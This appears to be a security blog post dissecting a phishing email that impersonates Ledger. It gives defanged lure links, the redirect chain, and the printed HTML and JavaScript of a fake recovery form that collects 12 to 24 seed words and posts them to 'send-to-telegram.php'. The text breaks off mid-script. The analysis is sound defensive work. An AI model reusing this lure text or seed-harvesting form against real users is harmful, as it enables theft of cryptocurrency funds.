Zola 2024-09-25T00:00:00+00:00 https://volse.net/en/artikler/atom.xml 2024-09-25T00:00:00+00:00 2024-09-25T00:00:00+00:00 Harald https://volse.net/en/artikler/phishing-ledger-blockchain/ <p>One of my honeypot emails caught an interesting phishing email today:</p> <pre class="z-code"><code><span class="z-text z-plain">From: Ledger &lt;info.ledger[@]planet[.]com&gt; </span><span class="z-text z-plain">To: ****************** </span><span class="z-text z-plain">Subject: This is an automated email. </span><span class="z-text z-plain">Date: 25 Sep 2024 04:04:11 +0200 </span><span class="z-text z-plain"> </span><span class="z-text z-plain"> Dear customer, </span><span class="z-text z-plain"> </span><span class="z-text z-plain"> </span><span class="z-text z-plain"> </span><span class="z-text z-plain"> This is an automated email to inform you that 24-Word Seed Recovery to </span><span class="z-text z-plain"> Electrum is initiated </span><span class="z-text z-plain"> </span><span class="z-text z-plain"> Please note that it can up to 24 hours to deliver all the funds to your new </span><span class="z-text z-plain"> wallet. After that your funds cannot be accessed by Ledger hardware wallet </span><span class="z-text z-plain"> anymore. </span><span class="z-text z-plain"> </span><span class="z-text z-plain"> If it wasn&#39;t you, report your recovery phrase immediately so our team can </span><span class="z-text z-plain"> freeze the process in time. Otherwise just ignore thi email. </span><span class="z-text z-plain"> </span><span class="z-text z-plain"> [It wasn&#39;t me] </span><span class="z-text z-plain"> </span><span class="z-text z-plain"> </span><span class="z-text z-plain"> </span><span class="z-text z-plain"> We trust this information is sufficient. </span><span class="z-text z-plain"> </span><span class="z-text z-plain"> Do you have any questions about updating your details? </span><span class="z-text z-plain"> Visit ledger[.]com/support/articles/How-to-update-my-profile. </span><span class="z-text z-plain"> </span><span class="z-text z-plain"> </span><span class="z-text z-plain"> [512x512bb] </span><span class="z-text z-plain"> </span><span class="z-text z-plain"> © 2024 Ledger </span><span class="z-text z-plain"> </span><span class="z-text z-plain"> support[@]ledger[.]com </span></code></pre> <p>Now, there's a couple of interesting things here:</p> <p>It obviously targets users of hardware cryptocurrency wallets from <a href="https://shop.ledger.com/pages/hardware-wallet">Ledger</a>. These are protected by a 24 word seed phrase that is used to derive your secret key. You should of course <em>never</em> reveal this phrase to anyone as that will give them full access to your funds on whatever blockchain you're using.</p> <p>The link <code>[It wasn't me]</code> does of course not lead to Ledgers site. The underlying HTML code is:</p> <pre class="z-code"><code><span class="z-text z-plain">&lt;a href=&quot;hxxps://www[.]khojholidays[.]com/reddod.html&quot;&gt; </span><span class="z-text z-plain"> &lt;a style=&quot;...&quot; href=&quot;hxxps://jinkrupa[.]com/wp-admin/readme.html&quot;&gt;It wasn&#39;t me&lt;/a&gt; </span></code></pre> <p>I'm not sure if the first (unterminated) anchor element is intentional or not, or how different HTML rendering engines will relate to it. In any case, both the links lead to identical fake reCAPTCHA pages, that when you click the checkbox redirects to <code>./wp-backup.php</code> on the same site. This again redirects further to a form on a different site for entering the seed phrase. When submitting the form, it invokes an action with the suggestive name <code>send-to-telegram.php</code>.</p> <p>Interestingly enough, the comments in the HTML/JavaScript code that renders the form is in a mixture of English and Dutch.</p> <pre data-lang="html" class="language-html z-code"><code class="language-html" data-lang="html"><span class="z-text z-html z-basic"> <span class="z-meta z-tag z-block z-any z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;</span><span class="z-entity z-name z-tag z-block z-any z-html">div</span> <span class="z-meta z-attribute-with-value z-class z-html"><span class="z-entity z-other z-attribute-name z-class z-html">class</span><span class="z-punctuation z-separator z-key-value z-html">=</span><span class="z-string z-quoted z-double z-html"><span class="z-punctuation z-definition z-string z-begin z-html">&quot;</span></span><span class="z-string z-quoted z-double z-html"><span class="z-meta z-class-name z-html">container</span><span class="z-punctuation z-definition z-string z-end z-html">&quot;</span></span></span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span> </span><span class="z-text z-html z-basic"> <span class="z-meta z-tag z-inline z-any z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;</span><span class="z-entity z-name z-tag z-inline z-any z-html">img</span> <span class="z-meta z-attribute-with-value z-html"><span class="z-entity z-other z-attribute-name z-html">src</span><span class="z-punctuation z-separator z-key-value z-html">=</span><span class="z-string z-quoted z-double z-html"><span class="z-punctuation z-definition z-string z-begin z-html">&quot;</span>hxxps://i[.]gyazo[.]com/b8fc2d6178e48c79ee3049bf389c5dc3.png<span class="z-punctuation z-definition z-string z-end z-html">&quot;</span></span></span> <span class="z-meta z-attribute-with-value z-html"><span class="z-entity z-other z-attribute-name z-html">alt</span><span class="z-punctuation z-separator z-key-value z-html">=</span><span class="z-string z-quoted z-double z-html"><span class="z-punctuation z-definition z-string z-begin z-html">&quot;</span>Ledger Logo<span class="z-punctuation z-definition z-string z-end z-html">&quot;</span></span></span> <span class="z-meta z-attribute-with-value z-class z-html"><span class="z-entity z-other z-attribute-name z-class z-html">class</span><span class="z-punctuation z-separator z-key-value z-html">=</span><span class="z-string z-quoted z-double z-html"><span class="z-punctuation z-definition z-string z-begin z-html">&quot;</span></span><span class="z-string z-quoted z-double z-html"><span class="z-meta z-class-name z-html">ledger-logo</span><span class="z-punctuation z-definition z-string z-end z-html">&quot;</span></span></span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span> </span><span class="z-text z-html z-basic"> <span class="z-meta z-tag z-block z-any z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;</span><span class="z-entity z-name z-tag z-block z-any z-html">h1</span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span>Ledger Recovery<span class="z-meta z-tag z-block z-any z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;/</span><span class="z-entity z-name z-tag z-block z-any z-html">h1</span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span> </span><span class="z-text z-html z-basic"> <span class="z-meta z-tag z-block z-any z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;</span><span class="z-entity z-name z-tag z-block z-any z-html">p</span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span>Choose the length of your security phrase.<span class="z-meta z-tag z-block z-any z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;/</span><span class="z-entity z-name z-tag z-block z-any z-html">p</span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span> </span><span class="z-text z-html z-basic"> </span><span class="z-text z-html z-basic"> <span class="z-meta z-tag z-inline z-form z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;</span><span class="z-entity z-name z-tag z-inline z-form z-html">select</span> <span class="z-meta z-attribute-with-value z-id z-html"><span class="z-entity z-other z-attribute-name z-id z-html">id</span><span class="z-punctuation z-separator z-key-value z-html">=</span><span class="z-string z-quoted z-double z-html"><span class="z-punctuation z-definition z-string z-begin z-html">&quot;</span></span><span class="z-string z-quoted z-double z-html"><span class="z-meta z-toc-list z-id z-html">wordCount</span><span class="z-punctuation z-definition z-string z-end z-html">&quot;</span></span></span> <span class="z-meta z-attribute-with-value z-event z-html"><span class="z-entity z-other z-attribute-name z-event z-html">onchange</span><span class="z-punctuation z-separator z-key-value z-html">=</span><span class="z-string z-quoted z-double"><span class="z-punctuation z-definition z-string z-begin z-html">&quot;</span></span><span class="z-meta z-attribute-with-value z-event z-html"><span class="z-source z-js"><span class="z-meta z-function-call z-js"><span class="z-variable z-function z-js">generateInputFields</span><span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-punctuation z-section z-group z-end z-js">)</span></span></span></span></span><span class="z-string z-quoted z-double"><span class="z-punctuation z-definition z-string z-end z-html">&quot;</span></span></span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span> </span><span class="z-text z-html z-basic"> <span class="z-meta z-tag z-inline z-form z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;</span><span class="z-entity z-name z-tag z-inline z-form z-html">option</span> <span class="z-meta z-attribute-with-value z-html"><span class="z-entity z-other z-attribute-name z-html">value</span><span class="z-punctuation z-separator z-key-value z-html">=</span><span class="z-string z-quoted z-double z-html"><span class="z-punctuation z-definition z-string z-begin z-html">&quot;</span>12<span class="z-punctuation z-definition z-string z-end z-html">&quot;</span></span></span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span>12 words<span class="z-meta z-tag z-inline z-form z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;/</span><span class="z-entity z-name z-tag z-inline z-form z-html">option</span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span> </span><span class="z-text z-html z-basic"> <span class="z-meta z-tag z-inline z-form z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;</span><span class="z-entity z-name z-tag z-inline z-form z-html">option</span> <span class="z-meta z-attribute-with-value z-html"><span class="z-entity z-other z-attribute-name z-html">value</span><span class="z-punctuation z-separator z-key-value z-html">=</span><span class="z-string z-quoted z-double z-html"><span class="z-punctuation z-definition z-string z-begin z-html">&quot;</span>18<span class="z-punctuation z-definition z-string z-end z-html">&quot;</span></span></span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span>18 words<span class="z-meta z-tag z-inline z-form z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;/</span><span class="z-entity z-name z-tag z-inline z-form z-html">option</span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span> </span><span class="z-text z-html z-basic"> <span class="z-meta z-tag z-inline z-form z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;</span><span class="z-entity z-name z-tag z-inline z-form z-html">option</span> <span class="z-meta z-attribute-with-value z-html"><span class="z-entity z-other z-attribute-name z-html">value</span><span class="z-punctuation z-separator z-key-value z-html">=</span><span class="z-string z-quoted z-double z-html"><span class="z-punctuation z-definition z-string z-begin z-html">&quot;</span>24<span class="z-punctuation z-definition z-string z-end z-html">&quot;</span></span></span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span>24 words<span class="z-meta z-tag z-inline z-form z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;/</span><span class="z-entity z-name z-tag z-inline z-form z-html">option</span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span> </span><span class="z-text z-html z-basic"> <span class="z-meta z-tag z-inline z-form z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;/</span><span class="z-entity z-name z-tag z-inline z-form z-html">select</span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span> </span><span class="z-text z-html z-basic"> </span><span class="z-text z-html z-basic"> <span class="z-meta z-tag z-block z-form z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;</span><span class="z-entity z-name z-tag z-block z-form z-html">form</span> <span class="z-meta z-attribute-with-value z-html"><span class="z-entity z-other z-attribute-name z-html">method</span><span class="z-punctuation z-separator z-key-value z-html">=</span><span class="z-string z-quoted z-double z-html"><span class="z-punctuation z-definition z-string z-begin z-html">&quot;</span>POST<span class="z-punctuation z-definition z-string z-end z-html">&quot;</span></span></span> <span class="z-meta z-attribute-with-value z-html"><span class="z-entity z-other z-attribute-name z-html">action</span><span class="z-punctuation z-separator z-key-value z-html">=</span><span class="z-string z-quoted z-double z-html"><span class="z-punctuation z-definition z-string z-begin z-html">&quot;</span>send-to-telegram.php<span class="z-punctuation z-definition z-string z-end z-html">&quot;</span></span></span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span> </span><span class="z-text z-html z-basic"> <span class="z-meta z-tag z-block z-any z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;</span><span class="z-entity z-name z-tag z-block z-any z-html">div</span> <span class="z-meta z-attribute-with-value z-id z-html"><span class="z-entity z-other z-attribute-name z-id z-html">id</span><span class="z-punctuation z-separator z-key-value z-html">=</span><span class="z-string z-quoted z-double z-html"><span class="z-punctuation z-definition z-string z-begin z-html">&quot;</span></span><span class="z-string z-quoted z-double z-html"><span class="z-meta z-toc-list z-id z-html">wordInputContainer</span><span class="z-punctuation z-definition z-string z-end z-html">&quot;</span></span></span> <span class="z-meta z-attribute-with-value z-class z-html"><span class="z-entity z-other z-attribute-name z-class z-html">class</span><span class="z-punctuation z-separator z-key-value z-html">=</span><span class="z-string z-quoted z-double z-html"><span class="z-punctuation z-definition z-string z-begin z-html">&quot;</span></span><span class="z-string z-quoted z-double z-html"><span class="z-meta z-class-name z-html">word-input-container</span><span class="z-punctuation z-definition z-string z-end z-html">&quot;</span></span></span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span><span class="z-meta z-tag z-block z-any z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;/</span><span class="z-entity z-name z-tag z-block z-any z-html">div</span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span> </span><span class="z-text z-html z-basic"> <span class="z-meta z-tag z-inline z-form z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;</span><span class="z-entity z-name z-tag z-inline z-form z-html">button</span> <span class="z-meta z-attribute-with-value z-html"><span class="z-entity z-other z-attribute-name z-html">type</span><span class="z-punctuation z-separator z-key-value z-html">=</span><span class="z-string z-quoted z-double z-html"><span class="z-punctuation z-definition z-string z-begin z-html">&quot;</span>button<span class="z-punctuation z-definition z-string z-end z-html">&quot;</span></span></span> <span class="z-meta z-attribute-with-value z-class z-html"><span class="z-entity z-other z-attribute-name z-class z-html">class</span><span class="z-punctuation z-separator z-key-value z-html">=</span><span class="z-string z-quoted z-double z-html"><span class="z-punctuation z-definition z-string z-begin z-html">&quot;</span></span><span class="z-string z-quoted z-double z-html"><span class="z-meta z-class-name z-html">submit-btn</span><span class="z-punctuation z-definition z-string z-end z-html">&quot;</span></span></span> <span class="z-meta z-attribute-with-value z-event z-html"><span class="z-entity z-other z-attribute-name z-event z-html">onclick</span><span class="z-punctuation z-separator z-key-value z-html">=</span><span class="z-string z-quoted z-double"><span class="z-punctuation z-definition z-string z-begin z-html">&quot;</span></span><span class="z-meta z-attribute-with-value z-event z-html"><span class="z-source z-js"><span class="z-meta z-function-call z-js"><span class="z-variable z-function z-js">submitWords</span><span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-punctuation z-section z-group z-end z-js">)</span></span></span></span></span><span class="z-string z-quoted z-double"><span class="z-punctuation z-definition z-string z-end z-html">&quot;</span></span></span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span>Continue<span class="z-meta z-tag z-inline z-form z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;/</span><span class="z-entity z-name z-tag z-inline z-form z-html">button</span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span> </span><span class="z-text z-html z-basic"> <span class="z-meta z-tag z-block z-form z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;/</span><span class="z-entity z-name z-tag z-block z-form z-html">form</span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span> </span><span class="z-text z-html z-basic"> <span class="z-meta z-tag z-block z-any z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;/</span><span class="z-entity z-name z-tag z-block z-any z-html">div</span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span> </span><span class="z-text z-html z-basic"> </span><span class="z-text z-html z-basic"> <span class="z-meta z-tag z-script z-begin z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;</span><span class="z-entity z-name z-tag z-script z-html">script</span></span><span class="z-meta z-tag z-script z-begin z-html"><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span> </span><span class="z-text z-html z-basic"> <span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"></span><span class="z-meta z-function z-declaration z-js"><span class="z-storage z-type z-function z-js">function</span> <span class="z-entity z-name z-function z-js">generateInputFields</span><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-punctuation z-section z-group z-end z-js">)</span></span><span class="z-meta z-function z-js"> <span class="z-meta z-block z-js"><span class="z-punctuation z-section z-block z-begin z-js">{</span> </span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-storage z-type z-js">const</span> <span class="z-meta z-binding z-name z-js"><span class="z-variable z-other z-readwrite z-js">wordCount</span></span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-meta z-function-call z-method z-js"><span class="z-support z-type z-object z-dom z-js">document</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-variable z-function z-js">getElementById</span><span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-meta z-string z-js"><span class="z-string z-quoted z-single z-js"><span class="z-punctuation z-definition z-string z-begin z-js">&#39;</span>wordCount<span class="z-punctuation z-definition z-string z-end z-js">&#39;</span></span></span><span class="z-punctuation z-section z-group z-end z-js">)</span></span></span><span class="z-punctuation z-accessor z-js">.</span><span class="z-meta z-property z-object z-js">value</span><span class="z-punctuation z-terminator z-statement z-js">;</span> </span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-storage z-type z-js">const</span> <span class="z-meta z-binding z-name z-js"><span class="z-variable z-other z-readwrite z-js">container</span></span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-meta z-function-call z-method z-js"><span class="z-support z-type z-object z-dom z-js">document</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-variable z-function z-js">getElementById</span><span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-meta z-string z-js"><span class="z-string z-quoted z-single z-js"><span class="z-punctuation z-definition z-string z-begin z-js">&#39;</span>wordInputContainer<span class="z-punctuation z-definition z-string z-end z-js">&#39;</span></span></span><span class="z-punctuation z-section z-group z-end z-js">)</span></span></span><span class="z-punctuation z-terminator z-statement z-js">;</span> </span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-variable z-other z-readwrite z-js">container</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-meta z-property z-object z-js">innerHTML</span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-meta z-string z-js"><span class="z-string z-quoted z-single z-js"><span class="z-punctuation z-definition z-string z-begin z-js">&#39;</span><span class="z-punctuation z-definition z-string z-end z-js">&#39;</span></span></span><span class="z-punctuation z-terminator z-statement z-js">;</span> <span class="z-comment z-line z-double-slash z-js"><span class="z-punctuation z-definition z-comment z-js">//</span> Clear existing fields </span></span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> </span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-meta z-for z-js"><span class="z-keyword z-control z-loop z-for z-js">for</span> <span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-js">(</span><span class="z-storage z-type z-js">let</span> <span class="z-meta z-binding z-name z-js"><span class="z-variable z-other z-readwrite z-js">i</span></span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-constant z-numeric z-integer z-decimal z-js">1</span><span class="z-punctuation z-separator z-expression z-js">;</span> <span class="z-variable z-other z-readwrite z-js">i</span> <span class="z-keyword z-operator z-relational z-js">&lt;=</span> <span class="z-variable z-other z-readwrite z-js">wordCount</span><span class="z-punctuation z-separator z-expression z-js">;</span> <span class="z-variable z-other z-readwrite z-js">i</span><span class="z-keyword z-operator z-arithmetic z-js">++</span><span class="z-punctuation z-section z-group z-js">)</span></span> <span class="z-meta z-block z-js"><span class="z-punctuation z-section z-block z-begin z-js">{</span> </span></span></span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"><span class="z-meta z-for z-js"><span class="z-meta z-block z-js"> <span class="z-storage z-type z-js">const</span> <span class="z-meta z-binding z-name z-js"><span class="z-variable z-other z-readwrite z-js">input</span></span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-meta z-function-call z-method z-js"><span class="z-support z-type z-object z-dom z-js">document</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-variable z-function z-js">createElement</span><span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-meta z-string z-js"><span class="z-string z-quoted z-single z-js"><span class="z-punctuation z-definition z-string z-begin z-js">&#39;</span>input<span class="z-punctuation z-definition z-string z-end z-js">&#39;</span></span></span><span class="z-punctuation z-section z-group z-end z-js">)</span></span></span><span class="z-punctuation z-terminator z-statement z-js">;</span> </span></span></span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"><span class="z-meta z-for z-js"><span class="z-meta z-block z-js"> <span class="z-variable z-other z-readwrite z-js">input</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-meta z-property z-object z-js">type</span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-meta z-string z-js"><span class="z-string z-quoted z-single z-js"><span class="z-punctuation z-definition z-string z-begin z-js">&#39;</span>text<span class="z-punctuation z-definition z-string z-end z-js">&#39;</span></span></span><span class="z-punctuation z-terminator z-statement z-js">;</span> </span></span></span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"><span class="z-meta z-for z-js"><span class="z-meta z-block z-js"> <span class="z-variable z-other z-readwrite z-js">input</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-meta z-property z-object z-js">className</span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-meta z-string z-js"><span class="z-string z-quoted z-single z-js"><span class="z-punctuation z-definition z-string z-begin z-js">&#39;</span>word-input<span class="z-punctuation z-definition z-string z-end z-js">&#39;</span></span></span><span class="z-punctuation z-terminator z-statement z-js">;</span> </span></span></span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"><span class="z-meta z-for z-js"><span class="z-meta z-block z-js"> <span class="z-variable z-other z-readwrite z-js">input</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-meta z-property z-object z-js">placeholder</span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-variable z-other z-readwrite z-js">i</span> <span class="z-keyword z-operator z-arithmetic z-js">+</span> <span class="z-meta z-string z-js"><span class="z-string z-quoted z-single z-js"><span class="z-punctuation z-definition z-string z-begin z-js">&#39;</span>.<span class="z-punctuation z-definition z-string z-end z-js">&#39;</span></span></span><span class="z-punctuation z-terminator z-statement z-js">;</span> <span class="z-comment z-line z-double-slash z-js"><span class="z-punctuation z-definition z-comment z-js">//</span> Placeholder showing the word number </span></span></span></span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"><span class="z-meta z-for z-js"><span class="z-meta z-block z-js"> <span class="z-variable z-other z-readwrite z-js">input</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-meta z-property z-object z-js">id</span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-meta z-string z-js"><span class="z-string z-quoted z-single z-js"><span class="z-punctuation z-definition z-string z-begin z-js">&#39;</span>word<span class="z-punctuation z-definition z-string z-end z-js">&#39;</span></span></span> <span class="z-keyword z-operator z-arithmetic z-js">+</span> <span class="z-variable z-other z-readwrite z-js">i</span><span class="z-punctuation z-terminator z-statement z-js">;</span> <span class="z-comment z-line z-double-slash z-js"><span class="z-punctuation z-definition z-comment z-js">//</span> Unique ID for each input </span></span></span></span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"><span class="z-meta z-for z-js"><span class="z-meta z-block z-js"> <span class="z-meta z-function-call z-method z-js"><span class="z-variable z-other z-readwrite z-js">container</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-variable z-function z-js">appendChild</span><span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-variable z-other z-readwrite z-js">input</span><span class="z-punctuation z-section z-group z-end z-js">)</span></span></span><span class="z-punctuation z-terminator z-statement z-js">;</span> </span></span></span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"><span class="z-meta z-for z-js"><span class="z-meta z-block z-js"> <span class="z-punctuation z-section z-block z-end z-js">}</span></span></span> </span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-punctuation z-section z-block z-end z-js">}</span></span></span> </span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"> </span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"> <span class="z-meta z-function z-js"></span><span class="z-meta z-function z-declaration z-js"><span class="z-storage z-type z-function z-js">function</span> <span class="z-entity z-name z-function z-js">submitWords</span><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-punctuation z-section z-group z-end z-js">)</span></span><span class="z-meta z-function z-js"> <span class="z-meta z-block z-js"><span class="z-punctuation z-section z-block z-begin z-js">{</span> </span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-storage z-type z-js">const</span> <span class="z-meta z-binding z-name z-js"><span class="z-variable z-other z-readwrite z-js">wordCount</span></span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-meta z-function-call z-method z-js"><span class="z-support z-type z-object z-dom z-js">document</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-variable z-function z-js">getElementById</span><span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-meta z-string z-js"><span class="z-string z-quoted z-single z-js"><span class="z-punctuation z-definition z-string z-begin z-js">&#39;</span>wordCount<span class="z-punctuation z-definition z-string z-end z-js">&#39;</span></span></span><span class="z-punctuation z-section z-group z-end z-js">)</span></span></span><span class="z-punctuation z-accessor z-js">.</span><span class="z-meta z-property z-object z-js">value</span><span class="z-punctuation z-terminator z-statement z-js">;</span> </span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-storage z-type z-js">let</span> <span class="z-meta z-binding z-name z-js"><span class="z-variable z-other z-readwrite z-js">words</span></span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-meta z-sequence z-js"><span class="z-punctuation z-section z-brackets z-begin z-js">[</span><span class="z-punctuation z-section z-brackets z-end z-js">]</span></span><span class="z-punctuation z-terminator z-statement z-js">;</span> </span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> </span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-meta z-for z-js"><span class="z-keyword z-control z-loop z-for z-js">for</span> <span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-js">(</span><span class="z-storage z-type z-js">let</span> <span class="z-meta z-binding z-name z-js"><span class="z-variable z-other z-readwrite z-js">i</span></span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-constant z-numeric z-integer z-decimal z-js">1</span><span class="z-punctuation z-separator z-expression z-js">;</span> <span class="z-variable z-other z-readwrite z-js">i</span> <span class="z-keyword z-operator z-relational z-js">&lt;=</span> <span class="z-variable z-other z-readwrite z-js">wordCount</span><span class="z-punctuation z-separator z-expression z-js">;</span> <span class="z-variable z-other z-readwrite z-js">i</span><span class="z-keyword z-operator z-arithmetic z-js">++</span><span class="z-punctuation z-section z-group z-js">)</span></span> <span class="z-meta z-block z-js"><span class="z-punctuation z-section z-block z-begin z-js">{</span> </span></span></span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"><span class="z-meta z-for z-js"><span class="z-meta z-block z-js"> <span class="z-storage z-type z-js">const</span> <span class="z-meta z-binding z-name z-js"><span class="z-variable z-other z-readwrite z-js">word</span></span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-meta z-function-call z-method z-js"><span class="z-support z-type z-object z-dom z-js">document</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-variable z-function z-js">getElementById</span><span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-meta z-string z-js"><span class="z-string z-quoted z-single z-js"><span class="z-punctuation z-definition z-string z-begin z-js">&#39;</span>word<span class="z-punctuation z-definition z-string z-end z-js">&#39;</span></span></span> <span class="z-keyword z-operator z-arithmetic z-js">+</span> <span class="z-variable z-other z-readwrite z-js">i</span><span class="z-punctuation z-section z-group z-end z-js">)</span></span></span><span class="z-punctuation z-accessor z-js">.</span><span class="z-meta z-property z-object z-js">value</span><span class="z-punctuation z-terminator z-statement z-js">;</span> <span 